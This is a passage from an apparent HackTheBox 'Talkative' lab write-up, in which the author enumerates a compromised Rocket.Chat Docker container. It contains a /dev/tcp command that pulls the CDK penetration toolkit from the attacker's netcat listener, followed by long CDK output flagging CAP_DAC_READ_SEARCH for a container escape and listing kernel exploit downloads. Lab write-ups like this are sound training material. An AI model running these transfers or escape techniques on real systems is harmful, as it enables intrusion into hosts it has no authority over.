Docker Container
After successfully making lateral movement to the Docker host, 172.17.0.3
, I started searching for clues to breakout
root@c150397ccd63:/app/bundle/programs/server# find . -name docker* -ls -type f 2>/dev/null
279302 8 -rwxr-xr-x 1 rocketchat rocketchat 4218 Oct 26 1985 ./node_modules/node-gyp/test/docker.sh
527000 4 drwxr-xr-x 2 rocketchat rocketchat 4096 Dec 19 2020 ./npm/node_modules/codemirror/mode/dockerfile
527001 8 -rw-rw-r-- 1 rocketchat rocketchat 4739 Dec 19 2020 ./npm/node_modules/codemirror/mode/dockerfile/dockerfile.js
528986 4 -rw-rw-r-- 1 rocketchat rocketchat 523 Dec 19 2020 ./npm/node_modules/highlight.js/lib/languages/dockerfile.js
I don’t see Docker configuration files. It is entirely possible that those are removed for security
In this case, I’d need other ways to enumerate the container
cdk - Zero Dependency Container Penetration Toolkit
CDK is an open-sourced container penetration toolkit, designed for offering stable exploitation in different slimmed containers without any OS dependency. It comes with useful net-tools and many powerful PoCs/EXPs and helps you to escape container and take over K8s cluster easily.
root@c150397ccd63:/root# cat < /dev/tcp/10.10.14.9/999 > cdk
┌──(kali㉿kali)-[~/archive/htb/labs/talkative]
└─$ nc -lvp 999 < cdk
listening on [any] 999 ...
connect to [10.10.14.9] from talkative.htb [10.10.11.155] 56002
Delivery complete
root@c150397ccd63:/root# chmod 755 ./cdk
root@c150397ccd63:/root# ./cdk evaluate --full
CDK (Container DucK)
CDK Version(GitCommit): d9ab55702036c28e793378cc47605e21206dfef1
Zero-dependency cloudnative k8s/docker/serverless penetration toolkit by cdxy & neargle
Find tutorial, configuration and use-case in https://github.com/cdk-team/CDK/
[ Information Gathering - System Info ]
2023/06/08 22:29:00 current dir: /root
2023/06/08 22:29:00 current user: root uid: 0 gid: 0 home: /root
2023/06/08 22:29:00 hostname: c150397ccd63
2023/06/08 22:29:00 debian debian 10.10 kernel: 5.4.0-81-generic
2023/06/08 22:29:00 Setuid files found:
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/passwd
/bin/mount
/bin/su
/bin/umount
[ Information Gathering - Services ]
2023/06/08 22:29:00 sensitive env found:
DEPLOY_METHOD=docker-official
[ Information Gathering - Commands and Capabilities ]
2023/06/08 22:29:00 available commands:
find,node,npm,apt,dpkg,mount,fdisk,base64,perl
2023/06/08 22:29:00 Capabilities hex of Caps(CapInh|CapPrm|CapEff|CapBnd|CapAmb):
CapInh: 0000000000000000
CapPrm: 00000000a80425fd
CapEff: 00000000a80425fd
CapBnd: 00000000a80425fd
CapAmb: 0000000000000000
Cap decode: 0x00000000a80425fd = CAP_CHOWN,CAP_DAC_READ_SEARCH,CAP_FOWNER,CAP_FSETID,CAP_KILL,CAP_SETGID,CAP_SETUID,CAP_SETPCAP,CAP_NET_BIND_SERVICE,CAP_NET_RAW,CAP_SYS_CHROOT,CAP_MKNOD,CAP_AUDIT_WRITE,CAP_SETFCAP
Added capability list: CAP_DAC_READ_SEARCH
[*] Maybe you can exploit the Capabilities below:
[!] CAP_DAC_READ_SEARCH enabled. You can read files from host. Use 'cdk run cap-dac-read-search' ... for exploitation.
[ Information Gathering - Mounts ]
0:74 / / rw,relatime - overlay overlay rw,lowerdir=/var/lib/docker/overlay2/l/SJ7L7M7IXKP2LYEKIS4QTXWMB2:/var/lib/docker/overlay2/l/V56NO5353KGHEUPU2G64UYICZS:/var/lib/docker/overlay2/l/57PYNL7JWAUZ2ZEF5CM7JKTH2Y:/var/lib/docker/overlay2/l/K4DCIUMHCNYT3RFVQSR7KCCWLJ:/var/lib/docker/overlay2/l/LLNI6XKILGAYVK3VSFPKZQC4NI,upperdir=/var/lib/docker/overlay2/5de14f4c9bdeaf0f8a19d03adcc2d28ccc97655bb5bc5f888490c184d2ad70dc/diff,workdir=/var/lib/docker/overlay2/5de14f4c9bdeaf0f8a19d03adcc2d28ccc97655bb5bc5f888490c184d2ad70dc/work,xino=off
0:76 / /proc rw,nosuid,nodev,noexec,relatime - proc proc rw
0:77 / /dev rw,nosuid - tmpfs tmpfs rw,size=65536k,mode=755
0:78 / /dev/pts rw,nosuid,noexec,relatime - devpts devpts rw,gid=5,mode=620,ptmxmode=666
0:79 / /sys ro,nosuid,nodev,noexec,relatime - sysfs sysfs ro
0:80 / /sys/fs/cgroup rw,nosuid,nodev,noexec,relatime - tmpfs tmpfs rw,mode=755
0:31 /docker/c150397ccd634de99b32847ec1df1342c8a8107f002bb12ec7460ae6aa93e726 /sys/fs/cgroup/systemd ro,nosuid,nodev,noexec,relatime - cgroup cgroup rw,xattr,name=systemd
0:34 /docker/c150397ccd634de99b32847ec1df1342c8a8107f002bb12ec7460ae6aa93e726 /sys/fs/cgroup/hugetlb ro,nosuid,nodev,noexec,relatime - cgroup cgroup rw,hugetlb
0:35 /docker/c150397ccd634de99b32847ec1df1342c8a8107f002bb12ec7460ae6aa93e726 /sys/fs/cgroup/cpu,cpuacct ro,nosuid,nodev,noexec,relatime - cgroup cgroup rw,cpu,cpuacct
0:36 /docker/c150397ccd634de99b32847ec1df1342c8a8107f002bb12ec7460ae6aa93e726 /sys/fs/cgroup/perf_event ro,nosuid,nodev,noexec,relatime - cgroup cgroup rw,perf_event
0:37 /docker/c150397ccd634de99b32847ec1df1342c8a8107f002bb12ec7460ae6aa93e726 /sys/fs/cgroup/blkio ro,nosuid,nodev,noexec,relatime - cgroup cgroup rw,blkio
0:38 /docker/c150397ccd634de99b32847ec1df1342c8a8107f002bb12ec7460ae6aa93e726 /sys/fs/cgroup/memory ro,nosuid,nodev,noexec,relatime - cgroup cgroup rw,memory
0:39 /docker/c150397ccd634de99b32847ec1df1342c8a8107f002bb12ec7460ae6aa93e726 /sys/fs/cgroup/net_cls,net_prio ro,nosuid,nodev,noexec,relatime - cgroup cgroup rw,net_cls,net_prio
0:40 /docker/c150397ccd634de99b32847ec1df1342c8a8107f002bb12ec7460ae6aa93e726 /sys/fs/cgroup/freezer ro,nosuid,nodev,noexec,relatime - cgroup cgroup rw,freezer
0:41 /docker/c150397ccd634de99b32847ec1df1342c8a8107f002bb12ec7460ae6aa93e726 /sys/fs/cgroup/devices ro,nosuid,nodev,noexec,relatime - cgroup cgroup rw,devices
0:42 / /sys/fs/cgroup/rdma ro,nosuid,nodev,noexec,relatime - cgroup cgroup rw,rdma
0:43 /docker/c150397ccd634de99b32847ec1df1342c8a8107f002bb12ec7460ae6aa93e726 /sys/fs/cgroup/pids ro,nosuid,nodev,noexec,relatime - cgroup cgroup rw,pids
0:44 /docker/c150397ccd634de99b32847ec1df1342c8a8107f002bb12ec7460ae6aa93e726 /sys/fs/cgroup/cpuset ro,nosuid,nodev,noexec,relatime - cgroup cgroup rw,cpuset
0:75 / /dev/mqueue rw,nosuid,nodev,noexec,relatime - mqueue mqueue rw
0:81 / /dev/shm rw,nosuid,nodev,noexec,relatime - tmpfs shm rw,size=65536k
253:0 /var/lib/docker/volumes/ae091a7d3837f61e227c2d406f85a574d8a9e97f5909929902d7c20ce630deae/_data /app/uploads rw,relatime - ext4 /dev/mapper/ubuntu--vg-ubuntu--lv rw
253:0 /var/lib/docker/containers/c150397ccd634de99b32847ec1df1342c8a8107f002bb12ec7460ae6aa93e726/resolv.conf /etc/resolv.conf rw,relatime - ext4 /dev/mapper/ubuntu--vg-ubuntu--lv rw
253:0 /var/lib/docker/containers/c150397ccd634de99b32847ec1df1342c8a8107f002bb12ec7460ae6aa93e726/hostname /etc/hostname rw,relatime - ext4 /dev/mapper/ubuntu--vg-ubuntu--lv rw
253:0 /var/lib/docker/containers/c150397ccd634de99b32847ec1df1342c8a8107f002bb12ec7460ae6aa93e726/hosts /etc/hosts rw,relatime - ext4 /dev/mapper/ubuntu--vg-ubuntu--lv rw
0:76 /bus /proc/bus ro,nosuid,nodev,noexec,relatime - proc proc rw
0:76 /fs /proc/fs ro,nosuid,nodev,noexec,relatime - proc proc rw
0:76 /irq /proc/irq ro,nosuid,nodev,noexec,relatime - proc proc rw
0:76 /sys /proc/sys ro,nosuid,nodev,noexec,relatime - proc proc rw
0:76 /sysrq-trigger /proc/sysrq-trigger ro,nosuid,nodev,noexec,relatime - proc proc rw
0:89 / /proc/acpi ro,relatime - tmpfs tmpfs ro
0:77 /null /proc/kcore rw,nosuid - tmpfs tmpfs rw,size=65536k,mode=755
0:77 /null /proc/keys rw,nosuid - tmpfs tmpfs rw,size=65536k,mode=755
0:77 /null /proc/timer_list rw,nosuid - tmpfs tmpfs rw,size=65536k,mode=755
0:77 /null /proc/sched_debug rw,nosuid - tmpfs tmpfs rw,size=65536k,mode=755
0:90 / /proc/scsi ro,relatime - tmpfs tmpfs ro
0:91 / /sys/firmware ro,relatime - tmpfs tmpfs ro
[ Information Gathering - Net Namespace ]
container net namespace isolated.
[ Information Gathering - Sysctl Variables ]
2023/06/08 22:29:00 net.ipv4.conf.all.route_localnet = 0
[ Information Gathering - DNS-Based Service Discovery ]
error when requesting coreDNS: lookup any.any.svc.cluster.local. on 1.1.1.1:53: read udp 172.17.0.3:37437->1.1.1.1:53: i/o timeout
error when requesting coreDNS: lookup any.any.any.svc.cluster.local. on 1.1.1.1:53: read udp 172.17.0.3:50775->1.1.1.1:53: i/o timeout
[ Discovery - K8s API Server ]
2023/06/08 22:29:20 checking if api-server allows system:anonymous request.
err found while searching local K8s apiserver addr.:
err: cannot find kubernetes api host in ENV
api-server forbids anonymous request.
response:
[ Discovery - K8s Service Account ]
load K8s service account token error.:
open /var/run/secrets/kubernetes.io/serviceaccount/token: no such file or directory
[ Discovery - Cloud Provider Metadata API ]
2023/06/08 22:29:21 failed to dial Alibaba Cloud API.
2023/06/08 22:29:22 failed to dial Azure API.
2023/06/08 22:29:23 failed to dial Google Cloud API.
2023/06/08 22:29:24 failed to dial Tencent Cloud API.
2023/06/08 22:29:25 failed to dial OpenStack API.
2023/06/08 22:29:26 failed to dial Amazon Web Services (AWS) API.
2023/06/08 22:29:27 failed to dial ucloud API.
[ Exploit Pre - Kernel Exploits ]
2023/06/08 22:29:27 refer: https://github.com/mzet-/linux-exploit-suggester
[+] [CVE-2021-27365] linux-iscsi
Details: https://blog.grimm-co.com/2021/03/new-old-bugs-in-linux-kernel.html
Exposure: less probable
Tags: RHEL=8
Download URL: https://codeload.github.com/grimm-co/NotQuite0DayFriday/zip/trunk
Comments: CONFIG_SLAB_FREELIST_HARDENED must not be enabled
[+] [CVE-2021-22555] Netfilter heap out-of-bounds write
Details: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
Exposure: less probable
Tags: ubuntu=20.04{kernel:5.8.0-*}
Download URL: https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c
ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2021-22555/exploit.c
Comments: ip_tables kernel module must be loaded
[ Information Gathering - Sensitive Files ]
.dockerenv - /.dockerenv
/config.json - /app/bundle/programs/server/config.json
.token - /app/bundle/programs/server/npm/node_modules/grpc/node_modules/protobufjs/docs/ProtoBuf.DotProto.Tokenizer.html
/config.json - /app/bundle/programs/server/npm/node_modules/url-polyfill/tests/config.json
/.bashrc - /etc/skel/.bashrc
/.bashrc - /root/.bashrc
/.bash_history - /tmp/.bash_history
[ Information Gathering - ASLR ]
2023/06/08 22:29:31 /proc/sys/kernel/randomize_va_space file content: 2
2023/06/08 22:29:31 ASLR is enabled.
[ Information Gathering - Cgroups ]
2023/06/08 22:29:31 /proc/1/cgroup file content:
12:cpuset:/docker/c150397ccd634de99b32847ec1df1342c8a8107f002bb12ec7460ae6aa93e726
11:pids:/docker/c150397ccd634de99b32847ec1df1342c8a8107f002bb12ec7460ae6aa93e726
10:rdma:/
9:devices:/docker/c150397ccd634de99b32847ec1df1342c8a8107f002bb12ec7460ae6aa93e726
8:freezer:/docker/c150397ccd634de99b32847ec1df1342c8a8107f002bb12ec7460ae6aa93e726
7:net_cls,net_prio:/docker/c150397ccd634de99b32847ec1df1342c8a8107f002bb12ec7460ae6aa93e726
6:memory:/docker/c150397ccd634de99b32847ec1df1342c8a8107f002bb12ec7460ae6aa93e726
5:blkio:/docker/c150397ccd634de99b32847ec1df1342c8a8107f002bb12ec7460ae6aa93e726
4:perf_event:/docker/c150397ccd634de99b32847ec1df1342c8a8107f002bb12ec7460ae6aa93e726
3:cpu,cpuacct:/docker/c150397ccd634de99b32847ec1df1342c8a8107f002bb12ec7460ae6aa93e726
2:hugetlb:/docker/c150397ccd634de99b32847ec1df1342c8a8107f002bb12ec7460ae6aa93e726
1:name=systemd:/docker/c150397ccd634de99b32847ec1df1342c8a8107f002bb12ec7460ae6aa93e726
0::/system.slice/containerd.service
2023/06/08 22:29:31 /proc/self/cgroup file added content (compare pid 1) :
Executing CDK
CAP_DAC_READ_SEARCH is available
Moving on to the Privilege Escalation phase